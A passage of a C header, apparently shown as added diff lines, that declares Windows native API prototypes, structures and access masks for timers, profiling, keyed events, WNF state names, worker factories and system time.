Timer +// + +typedef enum _TIMER_INFORMATION_CLASS +{ + TimerBasicInformation // TIMER_BASIC_INFORMATION +} TIMER_INFORMATION_CLASS; + +typedef struct _TIMER_BASIC_INFORMATION +{ + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, * PTIMER_BASIC_INFORMATION; + +#ifndef _KERNEL_MODE +typedef VOID(NTAPI* PTIMER_APC_ROUTINE)( + _In_ PVOID TimerContext, + _In_ ULONG TimerLowValue, + _In_ LONG TimerHighValue + ); + +typedef enum _TIMER_SET_INFORMATION_CLASS +{ + TimerSetCoalescableTimer, // TIMER_SET_COALESCABLE_TIMER_INFO + MaxTimerInfoClass +} TIMER_SET_INFORMATION_CLASS; + +#if (NTDDI_VERSION >= NTDDI_WIN7) +struct _COUNTED_REASON_CONTEXT; + +typedef struct _TIMER_SET_COALESCABLE_TIMER_INFO +{ + _In_ LARGE_INTEGER DueTime; + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine; + _In_opt_ PVOID TimerContext; + _In_opt_ struct _COUNTED_REASON_CONTEXT* WakeContext; + _In_opt_ ULONG Period; + _In_ ULONG TolerableDelay; + _Out_opt_ PBOOLEAN PreviousState; +} TIMER_SET_COALESCABLE_TIMER_INFO, * PTIMER_SET_COALESCABLE_TIMER_INFO; +#endif +#endif // _KERNEL_MODE + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(return = 0, __drv_allocatesMem(TimerObject)) +NTSTATUS +ZwCreateTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +ZwOpenTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN ResumeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +ZwSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN ResumeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimerEx( + _In_ HANDLE TimerHandle, + _In_ TIMER_SET_INFORMATION_CLASS TimerSetInformationClass, + _Inout_updates_bytes_opt_(TimerSetInformationLength) PVOID TimerSetInformation, + _In_ ULONG TimerSetInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +ZwSetTimerEx( + _In_ HANDLE TimerHandle, + _In_ TIMER_SET_INFORMATION_CLASS TimerSetInformationClass, + _Inout_updates_bytes_opt_(TimerSetInformationLength) PVOID TimerSetInformation, + _In_ ULONG TimerSetInformationLength +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelTimer( + _In_ HANDLE TimerHandle, + _Out_opt_ PBOOLEAN CurrentState +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +ZwCancelTimer( + _In_ HANDLE TimerHandle, + _Out_opt_ PBOOLEAN CurrentState +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_writes_bytes_(TimerInformationLength) PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_writes_bytes_(TimerInformationLength) PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateIRTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateIRTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIRTimer( + _In_ HANDLE TimerHandle, + _In_opt_ PLARGE_INTEGER DueTime +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetIRTimer( + _In_ HANDLE TimerHandle, + _In_opt_ PLARGE_INTEGER DueTime +); +#endif + +typedef struct _T2_SET_PARAMETERS_V0 +{ + ULONG Version; + ULONG Reserved; + LONGLONG NoWakeTolerance; +} T2_SET_PARAMETERS, * PT2_SET_PARAMETERS; + +typedef PVOID PT2_CANCEL_PARAMETERS; + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTimer2( + _Out_ PHANDLE TimerHandle, + _In_opt_ PVOID Reserved1, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Attributes, + _In_ ACCESS_MASK DesiredAccess +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateTimer2( + _Out_ PHANDLE TimerHandle, + _In_opt_ PVOID Reserved1, + _In_opt_ PVOID Reserved2, + _In_ ULONG Attributes, + _In_ ACCESS_MASK DesiredAccess +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimer2( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PLARGE_INTEGER Period, + _In_ PT2_SET_PARAMETERS Parameters +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetTimer2( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PLARGE_INTEGER Period, + _In_ PT2_SET_PARAMETERS Parameters +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelTimer2( + _In_ HANDLE TimerHandle, + _In_ PT2_CANCEL_PARAMETERS Parameters +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelTimer2( + _In_ HANDLE TimerHandle, + _In_ PT2_CANCEL_PARAMETERS Parameters +); +#endif // NTDDI_VERSION >= NTDDI_WINBLUE + +// +// Profile +// + +#define PROFILE_CONTROL 0x0001 +#define PROFILE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | PROFILE_CONTROL) + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProfile( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ KAFFINITY Affinity +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateProfile( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ KAFFINITY Affinity +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProfileEx( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ USHORT GroupCount, + _In_reads_(GroupCount) PGROUP_AFFINITY GroupAffinity +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateProfileEx( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ USHORT GroupCount, + _In_reads_(GroupCount) PGROUP_AFFINITY GroupAffinity +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtStartProfile( + _In_ HANDLE ProfileHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwStartProfile( + _In_ HANDLE ProfileHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtStopProfile( + _In_ HANDLE ProfileHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwStopProfile( + _In_ HANDLE ProfileHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryIntervalProfile( + _In_ KPROFILE_SOURCE ProfileSource, + _Out_ PULONG Interval +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryIntervalProfile( + _In_ KPROFILE_SOURCE ProfileSource, + _Out_ PULONG Interval +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIntervalProfile( + _In_ ULONG Interval, + _In_ KPROFILE_SOURCE Source +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetIntervalProfile( + _In_ ULONG Interval, + _In_ KPROFILE_SOURCE Source +); + +// +// Keyed Event +// + +#define KEYEDEVENT_WAIT 0x0001 +#define KEYEDEVENT_WAKE 0x0002 +#define KEYEDEVENT_ALL_ACCESS \ + (STANDARD_RIGHTS_REQUIRED | KEYEDEVENT_WAIT | KEYEDEVENT_WAKE) + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReleaseKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +// +// UMS +// + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUmsThreadYield( + _In_ PVOID SchedulerParam +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUmsThreadYield( + _In_ PVOID SchedulerParam +); +#endif + +// +// WNF +// + +// begin_private + +#ifndef _DEFINED__WNF_STATE_NAME +#define _DEFINED__WNF_STATE_NAME +typedef struct _WNF_STATE_NAME +{ + ULONG Data[2]; +} WNF_STATE_NAME, * PWNF_STATE_NAME; +typedef const WNF_STATE_NAME* PCWNF_STATE_NAME; +#endif + +typedef enum _WNF_STATE_NAME_LIFETIME +{ + WnfWellKnownStateName, + WnfPermanentStateName, + WnfPersistentStateName, + WnfTemporaryStateName +} WNF_STATE_NAME_LIFETIME; + +typedef enum _WNF_STATE_NAME_INFORMATION +{ + WnfInfoStateNameExist, + WnfInfoSubscribersPresent, + WnfInfoIsQuiescent +} WNF_STATE_NAME_INFORMATION; + +typedef enum _WNF_DATA_SCOPE +{ + WnfDataScopeSystem, + WnfDataScopeSession, + WnfDataScopeUser, + WnfDataScopeProcess, + WnfDataScopeMachine, // REDSTONE3 + WnfDataScopePhysicalMachine, // WIN11 +} WNF_DATA_SCOPE; + +typedef struct _WNF_TYPE_ID +{ + GUID TypeId; +} WNF_TYPE_ID, * PWNF_TYPE_ID; + +typedef const WNF_TYPE_ID* PCWNF_TYPE_ID; + +// rev +typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP; + +typedef struct _WNF_DELIVERY_DESCRIPTOR +{ + ULONGLONG SubscriptionId; + WNF_STATE_NAME StateName; + WNF_CHANGE_STAMP ChangeStamp; + ULONG StateDataSize; + ULONG EventMask; + WNF_TYPE_ID TypeId; + ULONG StateDataOffset; +} WNF_DELIVERY_DESCRIPTOR, * PWNF_DELIVERY_DESCRIPTOR; + +// end_private + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWnfStateName( + _Out_ PWNF_STATE_NAME StateName, + _In_ WNF_STATE_NAME_LIFETIME NameLifetime, + _In_ WNF_DATA_SCOPE DataScope, + _In_ BOOLEAN PersistData, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_ ULONG MaximumStateSize, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateWnfStateName( + _Out_ PWNF_STATE_NAME StateName, + _In_ WNF_STATE_NAME_LIFETIME NameLifetime, + _In_ WNF_DATA_SCOPE DataScope, + _In_ BOOLEAN PersistData, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_ ULONG MaximumStateSize, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteWnfStateName( + _In_ PCWNF_STATE_NAME StateName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteWnfStateName( + _In_ PCWNF_STATE_NAME StateName +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUpdateWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_reads_bytes_opt_(Length) const VOID* Buffer, + _In_opt_ ULONG Length, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_opt_ const VOID* ExplicitScope, + _In_ WNF_CHANGE_STAMP MatchingChangeStamp, + _In_ LOGICAL CheckStamp +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUpdateWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_reads_bytes_opt_(Length) const VOID* Buffer, + _In_opt_ ULONG Length, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_opt_ const VOID* ExplicitScope, + _In_ WNF_CHANGE_STAMP MatchingChangeStamp, + _In_ LOGICAL CheckStamp +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ const VOID* ExplicitScope +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ const VOID* ExplicitScope +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_opt_ const VOID* ExplicitScope, + _Out_ PWNF_CHANGE_STAMP ChangeStamp, + _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer, + _Inout_ PULONG BufferSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_opt_ const VOID* ExplicitScope, + _Out_ PWNF_CHANGE_STAMP ChangeStamp, + _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer, + _Inout_ PULONG BufferSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryWnfStateNameInformation( + _In_ PCWNF_STATE_NAME StateName, + _In_ WNF_STATE_NAME_INFORMATION NameInfoClass, + _In_opt_ const VOID* ExplicitScope, + _Out_writes_bytes_(InfoBufferSize) PVOID InfoBuffer, + _In_ ULONG InfoBufferSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryWnfStateNameInformation( + _In_ PCWNF_STATE_NAME StateName, + _In_ WNF_STATE_NAME_INFORMATION NameInfoClass, + _In_opt_ const VOID* ExplicitScope, + _Out_writes_bytes_(InfoBufferSize) PVOID InfoBuffer, + _In_ ULONG InfoBufferSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSubscribeWnfStateChange( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ WNF_CHANGE_STAMP ChangeStamp, + _In_ ULONG EventMask, + _Out_opt_ PULONG64 SubscriptionId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSubscribeWnfStateChange( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ WNF_CHANGE_STAMP ChangeStamp, + _In_ ULONG EventMask, + _Out_opt_ PULONG64 SubscriptionId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnsubscribeWnfStateChange( + _In_ PCWNF_STATE_NAME StateName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnsubscribeWnfStateChange( + _In_ PCWNF_STATE_NAME StateName +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetCompleteWnfStateSubscription( + _In_opt_ PWNF_STATE_NAME OldDescriptorStateName, + _In_opt_ ULONG64* OldSubscriptionId, + _In_opt_ ULONG OldDescriptorEventMask, + _In_opt_ ULONG OldDescriptorStatus, + _Out_writes_bytes_(DescriptorSize) PWNF_DELIVERY_DESCRIPTOR NewDeliveryDescriptor, + _In_ ULONG DescriptorSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetCompleteWnfStateSubscription( + _In_opt_ PWNF_STATE_NAME OldDescriptorStateName, + _In_opt_ ULONG64* OldSubscriptionId, + _In_opt_ ULONG OldDescriptorEventMask, + _In_opt_ ULONG OldDescriptorStatus, + _Out_writes_bytes_(DescriptorSize) PWNF_DELIVERY_DESCRIPTOR NewDeliveryDescriptor, + _In_ ULONG DescriptorSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetWnfProcessNotificationEvent( + _In_ HANDLE NotificationEvent +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetWnfProcessNotificationEvent( + _In_ HANDLE NotificationEvent +); +#endif // NTDDI_VERSION >= NTDDI_WINBLUE + +// +// Worker factory +// + +// begin_rev + +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define WORKER_FACTORY_ALL_ACCESS ( \ + STANDARD_RIGHTS_REQUIRED | \ + WORKER_FACTORY_RELEASE_WORKER | \ + WORKER_FACTORY_WAIT | \ + WORKER_FACTORY_SET_INFORMATION | \ + WORKER_FACTORY_QUERY_INFORMATION | \ + WORKER_FACTORY_READY_WORKER | \ + WORKER_FACTORY_SHUTDOWN \ + ) + +// end_rev + +// begin_private + +typedef enum _WORKERFACTORYINFOCLASS +{ + WorkerFactoryTimeout, // q; s: LARGE_INTEGER + WorkerFactoryRetryTimeout, // q; s: LARGE_INTEGER + WorkerFactoryIdleTimeout, // q; s: LARGE_INTEGER + WorkerFactoryBindingCount, + WorkerFactoryThreadMinimum, // q; s: ULONG + WorkerFactoryThreadMaximum, // q; s: ULONG + WorkerFactoryPaused, // ULONG or BOOLEAN + WorkerFactoryBasicInformation, // WORKER_FACTORY_BASIC_INFORMATION + WorkerFactoryAdjustThreadGoal, + WorkerFactoryCallbackType, + WorkerFactoryStackInformation, // 10 + WorkerFactoryThreadBasePriority, + WorkerFactoryTimeoutWaiters, // since THRESHOLD + WorkerFactoryFlags, + WorkerFactoryThreadSoftMaximum, + WorkerFactoryThreadCpuSets, // since REDSTONE5 + MaxWorkerFactoryInfoClass +} WORKERFACTORYINFOCLASS, * PWORKERFACTORYINFOCLASS; + +typedef struct _WORKER_FACTORY_BASIC_INFORMATION +{ + LARGE_INTEGER Timeout; + LARGE_INTEGER RetryTimeout; + LARGE_INTEGER IdleTimeout; + BOOLEAN Paused; + BOOLEAN TimerSet; + BOOLEAN QueuedToExWorker; + BOOLEAN MayCreate; + BOOLEAN CreateInProgress; + BOOLEAN InsertedIntoQueue; + BOOLEAN Shutdown; + ULONG BindingCount; + ULONG ThreadMinimum; + ULONG ThreadMaximum; + ULONG PendingWorkerCount; + ULONG WaitingWorkerCount; + ULONG TotalWorkerCount; + ULONG ReleaseCount; + LONGLONG InfiniteWaitGoal; + PVOID StartRoutine; + PVOID StartParameter; + HANDLE ProcessId; + SIZE_T StackReserve; + SIZE_T StackCommit; + NTSTATUS LastThreadCreationStatus; +} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION; + +// end_private + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWorkerFactory( + _Out_ PHANDLE WorkerFactoryHandleReturn, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE CompletionPortHandle, + _In_ HANDLE WorkerProcessHandle, + _In_ PVOID StartRoutine, + _In_opt_ PVOID StartParameter, + _In_opt_ ULONG MaxThreadCount, + _In_opt_ SIZE_T StackReserve, + _In_opt_ SIZE_T StackCommit +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateWorkerFactory( + _Out_ PHANDLE WorkerFactoryHandleReturn, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE CompletionPortHandle, + _In_ HANDLE WorkerProcessHandle, + _In_ PVOID StartRoutine, + _In_opt_ PVOID StartParameter, + _In_opt_ ULONG MaxThreadCount, + _In_opt_ SIZE_T StackReserve, + _In_opt_ SIZE_T StackCommit +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtShutdownWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Inout_ volatile LONG* PendingWorkerCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwShutdownWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Inout_ volatile LONG* PendingWorkerCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseWorkerFactoryWorker( + _In_ HANDLE WorkerFactoryHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReleaseWorkerFactoryWorker( + _In_ HANDLE WorkerFactoryHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWorkerFactoryWorkerReady( + _In_ HANDLE WorkerFactoryHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWorkerFactoryWorkerReady( + _In_ HANDLE WorkerFactoryHandle +); + +struct _FILE_IO_COMPLETION_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForWorkViaWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Out_ struct _FILE_IO_COMPLETION_INFORMATION* MiniPacket +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForWorkViaWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Out_ struct _FILE_IO_COMPLETION_INFORMATION* MiniPacket +); +#endif + +// +// Time +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemTime( + _Out_ PLARGE_INTEGER SystemTime +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySystemTime( + _Out_ PLARGE_INTEGER SystemTime +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemTime( + _In_opt_ PLARGE_INTEGER SystemTime, + _Out_opt_ PLARGE_INTEGER PreviousTime +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSystemTime( + _In_opt_ PLARGE_INTEGER SystemTime, + _Out_opt_ PLARGE_INTEGER PreviousTime +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryTimerResolution( + _Out_ PULONG MaximumTime, + _Out_ PULONG MinimumTime, + _Out_ PULONG CurrentTime +); + 